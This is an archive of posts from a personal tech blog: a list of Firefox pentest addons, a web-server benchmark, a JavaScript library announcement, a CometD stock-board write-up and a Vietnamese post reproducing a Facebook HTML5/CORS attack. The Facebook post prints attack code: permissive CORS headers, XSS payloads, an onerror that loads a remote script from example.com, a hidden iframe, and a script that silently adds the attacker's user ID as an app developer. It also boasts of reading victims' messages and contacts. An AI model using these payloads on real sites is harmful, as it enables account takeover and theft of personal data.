Friday, February 21, 2014

Penetration Testing Addons For Firefox Browser


Share/Bookmark


The majority of the penetration testers are using the Mozilla Firefox as a web browser for their pentest activities.This article will introduce the firefox addons that can be used for a web application penetration test.

1) Firebug

It is useful for the debugging tools that can help you tracking rogue javascript code on servers.

2) User Agent Switcher

You can use this extension to change the user agent of your browser.Useful for web application penetration tests that you want to check and the mobile versions of the websites.

3) Hackbar

Useful for SQL injection and XSS attacks.It includes also tools for URL and HEX encoding/decoding and many more.

4) HttpFox

Monitor and analyze all the incoming and outgoing HTTP traffic between your browser and the web server.

5) Live HTTP Headers

View the HTTP headers of a website instantly.

6) Tamper Data

View and modify HTTP/HTTPS headers and post parameters.

7) ShowIP

Shows the IP of the current page in the status bar.It also includes information like the hostname,the ISP,the country and the city.

8) OSVDB

Open Source Vulnerability Database Search.

9) Packet Storm search plugin

Search the packet storm database for exploits,tools and advisories.

10) Offsec Exploit-db Search

Search the Exploit-db archive.

11) Security Focus Vulnerabilities Search Plugin

Search for vulnerabilities in the Security Focus

12) Cookie Watcher

Watch the selected cookie in the status bar.

13) Header Spy

Shows HTTP Headers on status bar

14) Groundspeed

Manipulate the application user interface.

15) CipherFox

Displays the current SSL/TLS cipher and certificate on the status bar.

16) XSS Me

Tool for testing reflected XSS vulnerabilities.

17) SQL Inject Me

Extension to test SQL Injection vulnerabilities.

18) Wappalyzer

Discover technologies and applications that are used on websites.

19) Poster

Make HTTP requests,interact with web services and watch the output.

20) Javascript Deobfuscator

Show the JavaScript code that are running on web pages.

21) Modify Headers

Modify HTTP request headers.

22) FoxyProxy

Advanced proxy management tool.

23) FlagFox

Displays a country flag for the location of the web server.It also includes tools such as Whois,Geotool,Ping,Alexa etc.

24) Greasemonkey

Customize the way a webpage behaves by using small bits of JavaScript.

25) Domain Details

Displays Server Type, Headers, IP Address, Location Flag, and links to Whois Reports.

26) Websecurify

Useful for security assessments in web applications.

27) XSSed Search

Search the cross-site scripting database at XSSed.Com

28) ViewStatePeeker

ASP.NET viewstate viewer.

29) CryptoFox

CryptoFox is an encryption/decryption tool for cracking MD5 passwords.

30) WorldIP

Location of the web server,IP,Datacenter,Ping,Traceroute,RDNS,AS etc.

31) Server Spy

Unveils the technology of the web server (Apache, IIS etc.)

32) Default Passwords

Search CIRT.net default password database.

33) Snort IDS Rule Search

Search for Snort IDS Rules.


By pentestlab




Phalcon, Python, NodeJS or even PHP on the battle of benchmark


Share/Bookmark
Well, developers are surrounded by many stuffs mentioned on the title. Those things have their own market ...
Just have a look then make your choice...

We have some results of performance benchmark below, that all basic testing with response of "Hello World!" and we will move on a more advanced environment testing later. Then we will have RMDB, NoSQL, Session or anythings else that these stuffs often work with.

Nah, let's see:

NginX serve html file.


PHP-FPM + NginX, default configuration, what a downgrade :))


Oh wait, see what happened after some changes of configuration. Take care about min_spare_servers, max_spare_servers, start_servers ... they depend on your server resource, don't leave them GROSS.

Ok, now PHP APC but APC has issues with PHP version 5.5, don't upgrade your PHP server or you must use other one.

Meanwhile, built-in PHP Opcode gave a peak.

Ah, by the way have you ever heard about PHP Built-in Web Server?
They came from 5.4.0. php -S localhost:2000

Not bad huh?

So, people are messing around : Hey guy, do you know NodeJS? What the *beep* is it?
Hohoho, I think they said that it's blazing fast...
Ah, result above taken with single core CPU because by default NodeJS use single core of CPU.
How about add more CPU core? Okay, cluster gives you a hand. npm install cluster
The more you add the more you get :v

Next...
Phalcon, a PHP framework installed as a module. extension=phalcon.so easy as f***
By the way, Phalcon testing result above came from a little difference structure.
I did it like a minimal application:
application_folder
              |--------app
                    |---------controllers
              |--------public
                    |---------index.php(where the request attack :v)

So don't give it a f*** because the low number from the test. We will build other ones as minimal application someday later to have their fair ;)

The last guy, Tornado from Python world. Non-blocking HTTP server, right?
Good enough?
No, I spent long time with these guys and now need a rest. Result with more complicated application will be added later.

See ya!!!
RocknRoll






Sunday, November 13, 2011

JSDIS (Javascript Local Storage like Redis)


Share/Bookmark
A javascript library to store data in key-value method in browser's localStorage with functions like redis!

Release: https://github.com/canhnm/jsdis




Wednesday, November 24, 2010

Hấp diêm người dùng f*ckbook


Share/Bookmark
Có thể tham khảo thêm 1 số article tôi collect lại về Crossite Request Forgery để hiểu rõ bản chất của cách tấn công này :-)

Trong bài viết (Hacking Facebook with HTML5- tạm đọc: Làm dư lào để ấy người sử dụng f*ckbook) của mình trên blog matt đã cho thấy ngoài những features đáng giá mà html5 hứa hẹn cho các lập trình viên thì nó cũng tiềm tàng 1 mối nguy hiểm không kém phần hứa hẹn :)), giúp cho các thanh niên đọc hack là hắc hoàn thành giấc mơ có thể ưỡn ngực tự xưng iem nà hắc cơ :|

2 điểm cốt yếu là HTTP access control hoặc Cross-Origin Resource Sharing. 2 thứ này cho phép trình duyệt tạo ajax request cross domain (thực ra hiện tại cũng có thể dùng tricks để thực hiện request cross domain được rầu, không nhất thiết phải chờ đến HTML5)

Exploit :

Điểm chính là 1 code php để chèn thêm 1 vài headers nhằm qua mặt thằng phờ bờ :-"

< ?php
// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');

// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');

// Additional headers which may be sent along with the CORS request
header('Access-Control-Allow-Headers: X-Requested-With');

// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
exit();
}
?>
Đoạn code sau cần loadpayload :
< tab="home_menu" id="feed_tabbox" 0nreplace="fb.updateCurrentPage()">
< !mg style="d!splay:none" src="x" 0nerror="al3rt('xss')" />
Chú ý cái đoạn onerror nhá, thằng blogger của ông google cũng dính chưởng á =))

Giờ thì cứ đàng hoàng mà load extend script vào để chơi với nạn nhân thôi :-"

0nerror="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"
Với tình trạng hiện giờ của anh Phắc Búc này thì cứ điềm nhiên mà load 1 iframe với bất cứ cái gì mà bạn thích vào :
< src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none">
Rầu giờ thì bạn có thể làm gì với nạn nhân??? điểm mặt quan trọng nà

* Biết được nạn nhân là ai
* Xem các ảnh
* Đọc tin nhắn
* Đọc tin nhắn đã gửi
* Gửi tin nhắn ( :-o đù chứ cái này mà lợi dụng lừa đảo thì ối thằng vỡ mồm )
* Đọc được cơ số các thông tin mật khác (e-mail, phone, bạn bè)
* Thêm bạn (add friends)
* Đăng comments
chú ý là các phần trên này là cũng đếu cần được người sử dụng kia cho phép nhá, chứ được cho rồi thì cần mẹ gì :-j

Với ngần trên thứ có vẻ vẫn chưa làm hài lòng với 1 cơ số người. Ok, take some change :
Sử dụng "document.domain"bởi vì thằng "http://touch.facebook.com" là con giai thằng facebook.com mà :D, do vậy bạn hoàn toàn có thể define cái này há.
document.domain = 'facebook.com'

Giờ thì có thể trực tiếp đối đáp với ông f*ckbook rồi.

uid = 501558012;
app_id = 123456789012332;
function Image(){
// this should kill the click jacking report
}

// create a new iframe we will use to load facebook.com
var tempIFrame=document.createElement('iframe');

tempIFrame.setAttribute('id','RSIFrame');

// attach the iframe to the page
IFrameObj = document.body.appendChild(tempIFrame);

//once its loaded create a new form element and post the form
IFrameObj.onload = function(){
doc = IFrameObj.contentWindow.document;
IFrameObj.contentWindow.onbeforeleavehooks = [];

new_element = doc.createElement("input");
new_element.setAttribute("type", "hidden");
new_element.setAttribute("name", "new_dev_friends[]");
new_element.setAttribute("id", "new_dev_friends_" uid);
new_element.setAttribute("value", uid);
doc.forms['editapp'].appendChild(new_element);
doc.forms['editapp'].submit();

}

// load the iframe
IFrameObj.src = 'http://www.facebook.com/developers/editapp.php?app_id=' app_id
Trình duyệt phía nạn nhân sẽ thực hiện cho bạn, ajax load payload và ta sử dụng DOM để load iframe vào nhằm thực hiện ý đồ đen tối :-"

Lưu ý :
+ Đối với các thanh niên thích linh tinh :Mềnh không chịu trách nhiệm với bất cứ trường hợp bạn nào ngâm sâu hơn cái này để phang phập linh tinh người sử dụng f*ckbook đâu nhá :"> mềnh chỉ tóm gọn lại hộ thôi =))

+ Đối với người sử dụng f*ckbook: Có bị làm sao với cái f*ckbook thì xin chúc mừng =))

Hết ạ!!!

Sunday, November 21, 2010

Quick tour CometD Bayeux Ajax Push


Share/Bookmark
Project này cũng finish được hơn tháng và chuyển giao cho các bạn CafeF nhưng giờ mới nghĩ ra phần thống kê lại xung quanh cái gọi là "CometD Bayeux Ajax Push" này để chuẩn bị cho contest ở công ty sắp tới :D

Công nghệ Comet được nhắc tới khá nhiều từ đầu những năm 2007 nhưng cho đến hiện tại nó vẫn gần như là mới ở VN, đợt rồi phải làm cái bảng mã chứng khoán trên web và mobile, yêu cầu thì rất chi là yêu cầu ( dữ liệu cập nhật gần như lập tức ngay khi có thay đổi của mã nào đó trên sàn chứng khoán - realtime )

Bài toán đặt ra : Hệ thống cần đáp ứng được ~ 15000 request/s với mỗi lần request có > 5 mã chứng khoán trả về dữ liệu thay đổi.

Giải quyết : Vào một ngày đẹp zời sếp recommend cho cái cometd này, cometd là dự án của Dojo Foundation.
Cũng phải nói thêm với bài toán bảng mã chứng khoán realtime dạng này thì LightStreamer hay được sử dụng ở VN nhưng vấn đề bản quyền là 1 vấn đề. LightStreamer cũng có bản free nhưng đến tầm 10000 request/s thì cần phải xem xét lại, hơn nữa đây là hệ thống gói nên việc maintain riêng nó về sau không hẳn dễ dàng. 0pensource lại một lần nữa lên ngôi :-"

Tóm tắt : CometD là sự kết hợp giữa client (ajax) và kỹ thuật server-push. Ajax hiện nay có 2 framework hỗ trợ CometD là jQuery và Dojo.
Điểm chính nữa cần chú ý ở đây là Bayeux Protocol (NIO: Non-Blocking IO). Đây là một giao thức truyền tải dữ liệu đáp ứng tốt yêu cầu realtime của bài toán, với đỗ trễ khá thấp(ms). Hơn nữa giao thức này thông qua HTTP nên hạn chế được tối đa trường hợp request có thể bị block bởi firewall như ở một số giao thức khác.
Mô tả chi tiết về giao thức Bayeux : http://cometd.org/documentation/bayeux/spec

Ở project này sẽ sử dụng phương thực Polling Transpot (xem mục 1.4.5.i Polling transports ở link giao thức Bayeux ở trên :-) )

BC ---------- U ---------- P ------------ O ---------- BS
| ---M0--->  |            |              |            |
|            | --- HTTP request(M0) ---> |            |
|            |            |              | ----M0---> |
~            ~            ~              ~            ~ wait
|            |            |              | <--M1(E)-- | 
|            | <--HTTP response(M1(E))-- |            | 
| <--M1(E)-- |            |              |            | 
| ---M2--->  |            |        
|            |
|            | --- HTTP request(M2) ---> |            |
|            |            |              | ----M2---> |
~            ~            ~              ~            ~ wait


Dữ liệu trả về client dạng Json nên được tối ưu ở việc nén dữ liệu cao nhất có thể.
Ngoài ra tản mạn thêm chút về performance cho project dạng này;

Với bảng chứng khoán trên website cho người dùng desktop và laptop thì việc performance đặc biệt cần được quan tâm.
Lý do dễ thấy là với trên 600 mã chứng khoán từ 2 bảng thì việc nhận về > 50 mã thay đổi cùng 1 lúc là dễ gặp, thậm chí với người dùng truy cập lần đầu thì sẽ trả về dữ liệu của ~ 300 mã trên 1 bảng.
Recommend của IExplorer là 5.000.000 values trong 1 mảng thì sẽ xảy ra trường hợp thông báo lỗi script error trên phía client do compiler javascript của browser không chịu nổi nhiệt, nhưng tôi đã test với chỉ khoảng 1000.000 array values thì đã gặp trường hợp trên (System: core i5 430, 4GB of Ram :( )
Tham khảo script long-running : http://www.nczonline.net/blog/2009/01/05/what-determines-that-a-script-is-long-running/
Ở link trên đáng chú ý nhất là IE với giới hạn <=5ms :| Profiler là bắt buộc phải làm để mần đủ mọi cách giảm tối đa thời gian script execution. Về Javascript performance (Profiler, debug, logging, scope chain, clousure...) sẽ trình bày ở 1 bài viết khác không có lại lan man quá :-p Kết quả sau khi dev xong hệ thống với 1 cu nữa mần phần server Jetty (Mình Fronteer thôi :">).

• Cấu hình máy chủ: 2CPU Quad core 2.3Ghz, 16GB RAM (Shared with other services).
• Tốc độ benchmark đạt tới gần 20000 request/s (với mỗi lần thay đổi dữ liệu 100 mã :D ), ~ 63000 established connections, sử dụng hơn 8GB RAM, dữ liệu truyền/nhận khoảng 1Kb. Thời gian đáp ứng dưới 1s.

Good(not best;)) ) choice for realtime message :)

Recommend for chat system, stock ...